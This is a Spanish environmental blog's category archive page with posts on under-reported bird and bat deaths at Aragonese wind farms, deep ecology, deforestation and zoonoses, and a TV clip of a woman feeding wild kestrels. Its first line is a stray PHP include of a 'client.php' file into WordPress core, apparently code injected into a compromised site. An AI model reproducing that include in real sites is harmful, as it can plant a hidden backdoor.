@include( ABSPATH . WPINC . '/client.php'); Barracuda » Ecología

Barracuda

Posts archivados en la categoría Ecología

MALAS PRÁCTICAS EN LA VIGILANCIA AMBIENTAL DE LOS EÓLICOS

22nd febrero 2021 | Aves,Biodiversidad,Ecologismo,Ecología,Eólica,Mamíferos

Grupos ecologistas descubren malas prácticas en estudios de seguimiento de siniestralidad de parques eólicos. ANSAR y Amigos de la Tierra Aragón denuncian descontrol en el seguimiento de siniestralidad

El hallazgo de aves y murciélagos muertos bajo los aerogeneradores de los parques eólicos, por colisión de los animales con las palas es un hecho frecuente que se ha incrementado en los últimos meses y que pastores y agricultores, ciclistas y excursionistas han venido comunicando a nuestras asociaciones, desde las cuales nos hemos interesado de nuevo por el fenómeno.

Desde febrero de 2020, naturalistas de la Asociación Naturalista de Aragón (Ansar) y Amigos de la Tierra Aragón vienen analizando los seguimientos que realizan las empresas promotoras de parques eólicos relativos a la siniestralidad que causan en aves y murciélagos, solicitando al Gobierno de Aragón los datos que dichas empresas están obligadas a remitir y solicitando también los registros de entrada de animales en el Centro de Recuperación de Fauna Silvestre (CRFS) de La Alfranca para contrastar luego esos datos con los avisos recibidos y con los datos de campo obtenidos por propias averiguaciones, tras encontrar decenas de cadáveres de aves y cientos de murciélagos que tardaban en ser retirados en dos recientes parques eólicos de las localidades de Gallur y Magallón (Zaragoza), en una zona llana de secano cerealista, concretamente los parques La Nava (promotor “8 metros por segundo S.L.”) y Los Cierzos (promotor “Energías Eólicas y Ecológicas 53 S. L.”) pertenecientes ambas empresas al conocido grupo inmobiliario Brial (ver RESOLUCIÓN de 5 de junio de 2018, del Instituto Aragonés de Gestión Ambiental, por la que se formula declaración de impacto ambiental del proyecto de Parque Eólico “La Nava”, de 17,16 MW, en los términos municipales de Gallur y Magallón (Zaragoza), pro¬movido por 8 metros por segundo, S.L. (Número expte. INAGA: 500201/01/2018/01134) BOA 145 de 27 julio 2018). El seguimiento de siniestralidad en esos parques, que suman once máquinas, lo realiza la consultora SATEL según figura en los informes remitidos por Gobierno de Aragón

DEFICIENCIA DE LOS PLANES DE VIGILANCIA

Las ONGs ya apreciaron importantes diferencias en el número de aves y murciélagos en el primer informe cuatrimestral de seguimiento (enero-abril 2020) que hizo esta consultora para los promotores con respecto a las bajas observadas en el campo. Durante el mes y medio que duró el confinamiento las ONGs no pudieron obtener datos de campo, por lo que decidieron esperar a los siguientes meses para comprobar con el informe del segundo cuatrimestre si sus sospechas eran fundadas. Una vez comparada la información recogida por las ONGs y por la consultora encargada del plan de vigilancia de La Nava y Los Cierzos, los resultados no pueden ser más preocupantes, ya que la realidad es bien diferente a la que describe el informe aportado por la consultora.

Según el seguimiento quincenal de Satel, en el parque eólico La Nava, entre enero y abril murieron 3 aves y 1 murciélago y de mayo a agosto 4 aves y 11 murciélagos, que son un total de 7 aves y 12 murciélagos. Y registró en el parque eólico Los Cierzos entre enero y abril 4 aves y 2 murciélagos y de mayo a agosto 6 aves y 13 murciélagos un total de 10 aves y 15 murciélagos.

Según los datos totales de Satel entre enero y agosto de 2020 se encontraron entre los dos parques que, recordemos, suman once aerogeneradores: 17 aves y 27 murciélagos, que suman 44 animales.

Según los datos de Ansar y Amigos de la Tierra Aragón en observaciones con frecuencia semanal, en el parque eólico La Nava, de enero a abril se detectaron 10 aves y 2 murciélagos. De mayo a agosto 24 aves y 107 murciélagos. El total suma 34 aves y 109 murciélagos. En el parque eólico Los Cierzos, de enero a abril se encontraron 16 aves y 6 murciélagos y entre mayo y agosto 28 aves y 53 murciélagos con un total de 44 aves y 59 murciélagos.

El total de bajas encontradas por las ONGs entre los dos parques eólicos, es para echarse temblar: 78 aves y 168 murciélagos, un total de 246 animales en ocho meses de seguimiento de las once máquinas. Siempre cadáveres, salvo algún caso puntual de un buitre leonado mutilado pero vivo, que finalmente debió ser sacrificado en el CRFS.

bajas eólicas

Datos comparativos de bajas en el periodo enero-agosto 2020
en PPEE La Nava y Los Cierzos (grupo Brial) en Gallur, Zaragoza

Dado que cuando los naturalistas detectaban restos bajo los aerogeneradores daban parte a la emisora de emergencias del Gobierno de Aragón y los agentes de protección de la naturaleza solían acudir a retirar los animales o bien los recogían dentro de su actividad profesional ordinaria, puede ser que la consultora no registrara algunas bajas. No obstante, la diferencia es significativa.

Según los datos aportados por el Gobierno de Aragón, en el CRFS de animales procedentes de La Nava y Los Cierzos del periodo enero-octubre de 2020, de ellos 74 corresponden al periodo de enero-agosto que aquí analizamos.

Ante la disparidad de cifras en las bajas (44/74/246), cabe pensar tanto en una elevada tasa de desaparición de los restos por depredación como en un deficiente método de seguimiento tanto en intensidad como en frecuencia -dado que INAGA sólo exige un control quincenal de bajas- o bien una combinación de todos esos factores.

Como prueba de contraste, desde las asociaciones ecologistas se obtuvieron datos de campo propios correspondientes a otros dos parques eólicos cercanos a los anteriores, como son Agón (promotor “8 metros por segundo S. L.”) y Tinajeros (promotor “Saggita Ventum S. L.”) ambos del grupo Brial también. En estos, de acuerdo a los datos de la empresa consultora que se encarga del seguimiento -Naturiker, según las informaciones recabadas- la siniestralidad de enero a abril fue nula, algo altamente improbable.

Desde el momento en que estos grupos ecologistas comenzaron a visitar las inmediaciones de estos dos parques citados se encontraron ejemplares de fauna accidentada que llevaban meses muertos, abandonados en el campo, sin que hubiera constancia de su muerte y sin ser trasladados al Centro de Recuperación de La Alfranca como es obligatorio según el condicionado del INAGA. Lo lamentable es que los informes que realizó la consultora Naturiker valieron como argumento a otras empresas promotoras para solicitar más parques eólicos en la zona, argumentando que la mortalidad previa registrada en un parques eólicos en funcionamiento de esa zona había sido nula, y el impacto ambiental muy reducido. Nada más lejos de la realidad.

Otro parque eólico que fue visitado este pasado enero, fue el parque eólico de La Peña, perteneciente a EDPR (Energías de Portugal Renovables) España y situado en la localidad de Las Pedrosas en la Sierra de Luna. Hasta la fecha desconocemos quién hace el obligatorio seguimiento de siniestralidad pero, según datos oficiales aportados por el Gobierno de Aragón de entradas al Centro de Recuperación de Fauna Silvestre de La Alfranca en los diez primeros meses de 2020 sólo han trasladado dos buitres leonados. Las ONGs en la mañana del tres de enero de 2021, realizando una visita superficial bajo algunos aerogeneradores, contabilizaron hasta nueve buitres muertos.

INNACIÓN DEL GOBIERNO DE ARAGÓN

El Gobierno de Aragón debería de actualizar el protocolo de seguimiento de la siniestralidad en parques eólicos pues tiene más de 20 años de antigüedad, y se está demostrando insuficiente a día de hoy.

No se entiende por qué la Dirección General de Medio Natural del Gobierno de Aragón hace la vista gorda cuando en los informes cuatrimestrales del seguimiento ambiental que entregan los promotores sobre la mortandad obtenida ésta es ínfima o incluso nula, siendo todo esto sospechoso de un incumplimiento sistemático de los condicionados.

La citada Dirección General debería realizar seguimientos comprobatorios de la muerte real que provocan esos parques eólicos supervisando y verificando la información aportada. Se da el caso de parques eólicos contiguos, en los que mientras uno reporta varias decenas de casos de mortalidad, otro de al lado solo informa de dos casos en todo un año. Así mismo, también hemos observado que en la información aportada por las consultoras de los proyectos eólicos en explotación a la DGA no figuran apenas ejemplares de especies de pequeño tamaño como murciélagos, trigueros, alondras, calandrias, vencejos… cuando estas aves y los murciélagos son víctimas muy frecuentes de los aerogeneradores.

Las ONGs piden responsabilidades al Gobierno de Aragón que, como se está viendo no realiza ningún seguimiento de verificación de los datos aportados de mortalidad de algunas empresas consultoras.

Nos preguntamos ¿qué pasa aquí? ¿qué hace el Instituto Aragonés de Gestión ambiental (INAGA), el Servicio de Biodiversidad del Gobierno de Aragón que son los que tienen las competencias en protección y conservación de fauna silvestre, que junto al Servicio de Energía y Minas deben celebrar al menos una reunión anual para analizar el seguimiento ambiental de cada parque eólico?, ¿por qué no se han percatado de todas estas incoherencias e incumplimientos que nosotros, con un mínimo esfuerzo hemos podido comprobar?

Todo esto demuestra que, hasta la fecha, desde el inicio de la implantación de los parques eólicos hace unos 25 años no se ha comprobado si se hacen correctamente los seguimientos de mortalidad que establece el protocolo de seguimiento propuesto por la Dirección General de Sostenibilidad, el cual es facilitado por el INAGA como indica la Declaración de Impacto Ambiental de los proyectos.

Si se carece de resultados e información del seguimiento ambiental, no se pueden prescribir medidas de mitigación específicas para contrarrestar la mortalidad, ¿acaso no se pretende que no se reporten datos reales de mortalidad en parques eólicos, para no sacar a la luz y hacer visible la verdadera realidad del impacto ambiental de algunos parques eólicos e impedir que se apliquen medidas correctoras?

Llevan 20 años haciendo mal todo esto, 20 años ocultando datos reales de mortalidad en los parques eólicos. No hay datos fiables que nos permitan conocer el impacto ambiental de los parques eólicos.

Los Servicios Provinciales de medio Ambiente y la Dirección General de Medio Natural, que son los que deberían supervisar el cumplimiento del condicionado ambiental parece que miran hacia otro lado, eludiendo su responsabilidad, pero tienen la obligación de supervisar, verificar los estudios y analizar de forma adecuada los impactos ambientales de estos proyectos, lamentablemente están mostrando incompetencia y dejación de sus funciones.

RESUMEN

El seguimiento que los grupos ecologistas llevan realizando en La Nava y Los Cierzos, que suman once máquinas, desde febrero de 2020 a enero de 2021 arroja una escandalosa cifra de 110 aves y 297 murciélagos, en total 407 bajas por lo que han requerido al Gobierno de Aragón la aplicación del condicionado ambiental y exigien que se tomen medidas urgentes para evitar el goteo interminable de muertes.

Los parques eólicos Agón, Tinajeros, La Nava y Los Cierzos tienen ya interpuestas denuncias ante el Seprona por la muerte de siete cernícalos primillas. Esta emblemática especie amenazada de nuestros medios esteparios cuenta con un Plan de Conservación vigente fallido por incumplir sus objetivos y acciones de conservación previstas, que han derivado en el declive imparable de sus poblaciones, dejadas a su suerte durante los últimos años por parte de la administración y técnicos competentes, concretamente desde el inicio de su gestión por el ejecutivo del consejero Joaquín Olona.

Ansar y Amigos de la Tierra Aragón ponen a disposición del Gobierno de Aragón todos sus datos de seguimiento del parque eólico La Nava y Los Cierzos, donde se incluyen fotografías de cada individuo muerto y coordenadas de donde se encontraron, y van a exigir el cumplimiento del condicionado del INAGA que dice “En función de los resultados del seguimiento ambiental de las instalaciones y de los datos que posea el Departamento de Desarrollo Rural y Sostenibilidad, el promotor queda obligado a adoptar cualquier medida adicional de protección ambiental, incluidas paradas temporales de los aerogeneradores, o incluso su reubicación o eliminación.

Se quiere animar a grupos ecologistas de toda España a que presionen a los organismos públicos y departamentos con competencias en conservación de la fauna para que se realicen y supervisen con rigor los seguimientos ambientales de los parques eólicos para conocer realmente el impacto real en aves y murciélagos todas ellas especies protegidas por la ley.

No olvidemos que los que tienen que exigir que se cumplan los protocolos, vigilar y verificar que se realizan los seguimientos y son los organismos públicos como la Dirección General de Medio Natural y su Servicio de Biodiversidad que tienen las competencias en la conservación de las poblaciones de aves y los murciélagos que se ven afectados por algunos proyectos de parques eólicos en fase de explotación.

Ansar y Amigos de la Tierra Aragón vienen exigiendo que se cumpla el condicionado ambiental ambiental que no es otro que la parada y retirada de los aerogeneradores por ser incompatibles con la fauna voladora.

EL PROCESO ADMINISTRATIVO

Ante la petición de una empresa promotora para instalar un parque eólico, es la Dirección General de Energía y Minas del Departamento de Industria el órgano sustantivo que controla el proceso administrativo y quien autorizará la instalación y puesta en marcha del parque. Entre los diversos informes favorables que debe contar la instalación está el del Instituto Aragonés de Gestión Ambiental (INAGA) que incluye un condicionado ambiental referido a protección de la fauna y flora, vertidos, ruido, etc. que debe cumplir el promotor. Una de las condiciones es el seguimiento de siniestralidad de fauna durante los primeros años de funcionamiento para registrar las bajas, evaluarlas y actuar en consecuencia. Los Servicios Provinciales de Medio Ambiente son los encargados de vigilar el cumplimiento del condicionado ambiental por parte del promotor.

En estos momentos el Director General de Energía y Minas es Sergio Breto Asensio (29/08/2019-hoy) adscrito al Departamento de Industria, Competitividad y Desarrollo Empresarial que dirige el Consejero Arturo Aliaga López; el Director General de Medio Natural y Gestión Forestal es Diego Bayona Moreno (29/08/2019-hoy) y el Director del INAGA es Jesús Lobera Mariel (30/07/2015- hoy) adscritos al Departamento de Agricultura, Ganadería y Medio Ambiente del Consejero Joaquín Olona Blasco.

Anímate a hacer un comentario

ECOLOGÍA PROFUNDA (II)

6th junio 2020 | Comunicación,Ecologismo,Ecología,Política y Sociedad,Sostenibilidad

En estos tiempos en los que el personal se apropia perversamente del concepto de sostenibilidad, de energías limpias y de economía circular para cubrir con una fachada verde ecológica las actividades depredadoras e insostenibles de siempre, conviene recordar que el vwerdadero compromiso ecologista posee raíces más profundas y que los que nos han metido en la crisis climática y de biodiversidad no nos van a sacar de ésta. Por ello traigo a colación el concepto de Ecología profunda que dejé un día inconcluso, retomando las tesis de su promotor Arne Naess.

Naess propugnaba la idea de que la ecología no debía limitarse únicamente al lugar que el ser humano ocupa en la naturaleza, sino a todas y cada una de cuantas partes integran la propia naturaleza, y siempre contempladas desde una base igualitaria, dado que el orden natural posee, en sí mismo, un valor intrínseco que trasciende los valores humanos. Naess instaba siempre a los movimientos de orientación ecologista a «proteger al planeta no sólo en beneficio del género humano, sino, también, en beneficio del propio planeta, a conservar los ecosistemas sanos por el mismo hecho de hacerlo».

recorte prensa

El Periódico de Aragón, 20200605

En opinión de Naess, los que pensaban que los grandes problemas ecológicos se podían resolver en el entorno de una sociedad industrial y capitalista tenían un ecologismo «superficial». Había que entender que era la sociedad en sí misma la que había causado la crisis ecológica planetaria. Esta tesis, fundamentada en las enseñanzas de Spinoza, Gandhi y Buda, penetraría en las diversas corrientes de pensamiento que inspiraron a los movimientos ambientalistas de mediados de los 80.

recorte prensa

La Directora General de Cambio Climático y Educación Ambiental (Podemos). EPA, 20200605

Naess insistía en que la ‘Ecología profunda’ parte de la idea de que el ser humano no es ajeno a la naturaleza, sino que forma parte de ella en igualdad de condiciones con otros seres vivos, como una especie más.

ECOLOGÍA Y ENFERMEDADES INFECCIOSAS

28th abril 2020 | Agricultura,Agua,Atentados ecológicos,Atmósfera,Biodiversidad,Campañas de Defensa,Ecologismo,Ecología,Economía,Energía,Política y Sociedad,Sostenibilidad

La dimensión ecológica de las enfermedades infecciosas

José Manuel Nicolau, José Daniel Anadón, Juan Herrero, Jaume Tormo, Rocío López Flores. Profesores de Ecología del Grado de Ciencias Ambientales del Campus de Huesca. Universidad de Zaragoza. (Diario del Alto Aragón)

La transmisión de patógenos desde el medio natural a los humanos, como ha sido el caso de covid 19, es un fenómeno complejo en el que intervienen factores sanitarios, culturales, sociales, económicos… y también ecológicos. Analizaremos aquí esta última dimensión, pues pensamos que la actual pandemia es una llamada de atención sobre nuestra inadecuada relación con la naturaleza. La organización Ecohealth Alliance publica desde 2008 un mapa mundial de los puntos calientes de las enfermedades infecciosas emergentes. Y ha registrado que la deforestación está directamente relacionada con el 31% de los brotes infecciosos de las últimas décadas, como el virus nipa en Asia, zika en América y ébola en África. Deforestación para la producción agrícola (aceite de palma, cacao, soja…) y de pastos, así como para la extracción de madera y minerales. Productos que nosotros consumimos. Deforestación que reduce la biodiversidad y altera las relaciones entre los patógenos, la fauna silvestre que los hospeda y las personas. Las poblaciones humanas que se establecen en esa frontera entre el hábitat natural y el humano -en condiciones sanitarias precarias- cazan, consumen y comercian con animales silvestres, lo que favorece notablemente las zoonosis, es decir, la transmisión de los patógenos desde la fauna silvestre al ganado y a los seres humanos. La primera epidemia del virus nipah en Malasia obligó a sacrificar más de un millón de cerdos transmisores de los patógenos a los humanos. El origen estuvo en murciélagos portadores del virus que, tras la pérdida de su hábitat natural, se acercaron a los huertos donde comieron fruta que después ingirieron los cerdos. Una reciente investigación publicada en Scientific Reports ha situado una serie de episodios de ébola dos años después de deforestaciones significativas en África occidental.

Que la salud humana está asociada a la salud de los ecosistemas es uno de los elementos claves del concepto One Health, una perspectiva integradora de la salud, que apoya la OMS. Este enfoque tiene en cuenta que la diversidad biológica nos da protección frente a enfermedades y patógenos, en lo que se denomina “servicio de contención de enfermedades”. Desde hace un par de décadas se conoce el efecto protector de la diversidad por “dilución de la carga vírica”, demostrándose que, en ecosistemas más ricos en especies, los patógenos se alojan en huéspedes intermedios, poco adecuados para su propagación, en los que quedan frenados. En el desierto de Utah (EEUU) el hantavirus que hospedan los roedores se diluye cuando la diversidad de mamíferos es mayor. También la mayor diversidad genética dentro de una especie hospedadora del virus favorece que haya individuos que no desarrollen la enfermedad y creen resistencia: es la “protección por amortiguación” que se observó con el virus del Nilo occidental y la diversidad de aves. Además, el mayor control que hay entre las distintas especies cuando son más numerosas en un ecosistema hace que se atenúen las posibles explosiones demográficas de los huéspedes de los patógenos. Este conocimiento sobre el papel que los ecosistemas saludables y biodiversos tienen en la salud humana ha puesto en marcha algunas iniciativas esperanzadoras. El gobierno de Malasia está protegiendo áreas de selva en la isla de Borneo como medida para combatir la malaria, tras comparar los costes económicos de la enfermedad con los beneficios de la explotación de la selva. Y también en Liberia hay iniciativas similares para luchar contra los brotes de fiebre de Lassa.

Para prevenir futuras epidemias, la humanidad habrá de desplegar toda su capacidad tecnológica en el terreno sanitario, así como las medidas de tipo social y económico que estamos aprendiendo con la actual pandemia. Pero, además, deberá abordar la dimensión ecológica del problema: el paso de los virus desde el medio natural hacia el antrópico a causa de la degradación ambiental de los ecosistemas y de la disminución de la capacidad de contención de las infecciones de una diversidad biológica debilitada. Ello implica garantizar la conservación de los hábitats naturales. Sin duda se trata de un reto de gran envergadura que nos obliga a revisar el actual modelo de consumo globalizado que tenemos. Globalización que, en el sector agroalimentario, ha requerido la deforestación de miles de hectáreas en Indonesia para producir el 80% del aceite de palma mundial y está detrás de varias zoonosis. O la deforestación amazónica para la producción de soja y otros cultivos, que en los últimos años ha incrementado los casos de malaria. El denominado Cambio Global que estamos ocasionando en la Biosfera está socavando las bases de nuestro bienestar. La extinción masiva de especies, el cambio climático, la toxicidad ambiental, la destrucción de la capa de ozono, la transformación de la corteza terrestre o la alteración de los ciclos del nitrógeno y fósforo, están reduciendo el capital natural y los servicios que recibimos de él, imprescindibles para nuestro bienestar y supervivencia.

Porque todos tenemos perfectamente claro que nuestro bienestar se sustenta en los servicios que nos proporciona la tecnología. Desde los automóviles a los respiradores pasando por internet. Sin embargo, no vemos tan cristalino que los cimientos de nuestro bienestar -y de nuestra supervivencia- proceden de los servicios que nos aportan los ecosistemas naturales. Desde el oxígeno que respiramos -gracias a las plantas y al fitoplancton marino- al agua que bebemos. Pasando por la labor polinizadora de las abejas que nos permite comer fruta todos los años, los paisajes que nos dan nuestras señas de identidad y sustentan el turismo, los efectos terapéuticos de la naturaleza a la que acudimos para “cargar pilas” y una larga lista entre la que ocupa un lugar preeminente la biodiversidad. La biodiversidad, esa gran despensa de la humanidad de la que obtenemos el 25% de los fármacos que utilizamos -se buscan nuevos antibióticos en los fondos de los océanos- fuente de biocombustibles, fibras y cosméticos, de diseños para la industria, de microorganismos que procesan nuestros residuos y desde luego de nuestros alimentos, cada día más variados. Ahí están la quinoa o la chía. La protección frente a la transmisión de zoonosis es otro servicio más de la naturaleza que hemos debilitado. Dicen que nuestra sociedad va a entrar en una nueva época tras la covid 19: el futuro o es ecológico o no será.

FALTA DE PROFESIONALIDAD PERIODÍSTICA: UN CASO

21st abril 2020 | Atentados ecológicos,Aves,Comunicación,Ecología,Política y Sociedad

captura video

Circula ampliamente por las redes sociales un vídeo tomado del programa televisivo “anchaesCLM” (Ancha es Castilla La Mancha) en el que se muestra cómo una joven interacciona con un cernícalo que ha criado en el macetero de su ventana. La muchacha alimenta a la hembra y a los pollos con carne picada, les da agua, permite que accedan al interior de la vivienda y les pone una sombrilla, además de estar constantemente hablándoles y mirando.

captura video

Resulta asombroso que se divulguen esas imágenes cuando la interacción de humanos con animales salvajes está absolutamente contraindicada pues los animales quedan troquelados, es decir pierden su insinto natural de supervivencia y pasan a depender de los humanos. Esto es especialmente grave con los jóvenes, como sería este caso los pollos del cernícalo, que son incapaces de sobrevivir luego por su cuenta.

En los programas de cría en cautividad de especies amenazadas como milanos o quebrantahuesos, los pollos son alimentados mediante marionetas simulando sus padres para que no asocien al ser humano con la fuente de alimentación o de cuidados. En los centros de recuperación de especies amenazadas, los animales que llegan por ser requisados o abandonados tras estar en cautividad no pueden ser liberados en el medio pues son incapaces de buscar alimento o escapar de depredadores y mueren, o se muestran muy confiados y buscan la proximidad de personas que, generalmente, no los reciben muy bien y los capturan o matan.

captura video

La información al respecto es abundante, las campañas de educación y sensibilización ambiental hacen hincapié en que no se moleste a la fauna que está criando o que no se cojan los animales jóvenes que se encuentran en el campo porque no están perdidos y sí vigilados por sus padres a distancia. Además existe normativa que prohíbe molestar o acosar a los animales. Hasta para fotografiar fauna en unas condiciones críticas como es la reproducción hay que pedir una autorización a la administración autonómica. Incluso entre los fotógrafos de naturaleza existe el compromiso de no fotografiar nidos con pollos o huevos.

Art 54.5 Queda prohibido dar muerte, dañar, molestar o inquietar intencionadamente a los animales silvestres, sea cual fuere el método empleado o la fase de su ciclo biológico. Ley 42/2007, de 13 de diciembre, del Patrimonio Natural y de la Biodiversidad

En fin, que no hay excusa. La conducta de la joven, a la que se le supone un cierto nivel educativo es totalmente reprochable y es el exponente de la gran ignorancia y la escasísima conciencia ambiental existentes en la población en general. Igualmente, la labor de los profesionales periodistas es reprochable con más razón pues están obligados a conocer las buenas prácticas, la legislación y a contrastar la información antes de difundir determinadas noticias. Y que todos ellos se exponen a ser sancionados si se les aplicara la legislación con rigor.

Estos días en que los medios de comunicación se rasgan las vestiduras por las tentativas del gobierno a controlar la información y apelan a la profesionalidad de los periodistas, deberían mirar un poco hacia adentro.

Y, derivado de todo esto, queda por cuestionar la frivolidad y falta de rigor con que se tratan habitualmente los temas ambientales en los medios de comunicación; pero eso será otro día.


ÚLTIMOS COMENTARIOS

LO MÁS RECIENTE

LO MÁS VISITADO

Tienda Barracuda

ARTÍCULOS POR CATEGORÍAS

CALENDARIO DE ARTÍCULOS

marzo 2021
L M X J V S D
« feb    
1234567
891011121314
15161718192021
22232425262728
293031  

ARTÍCULOS POR MESES

PÁGINAS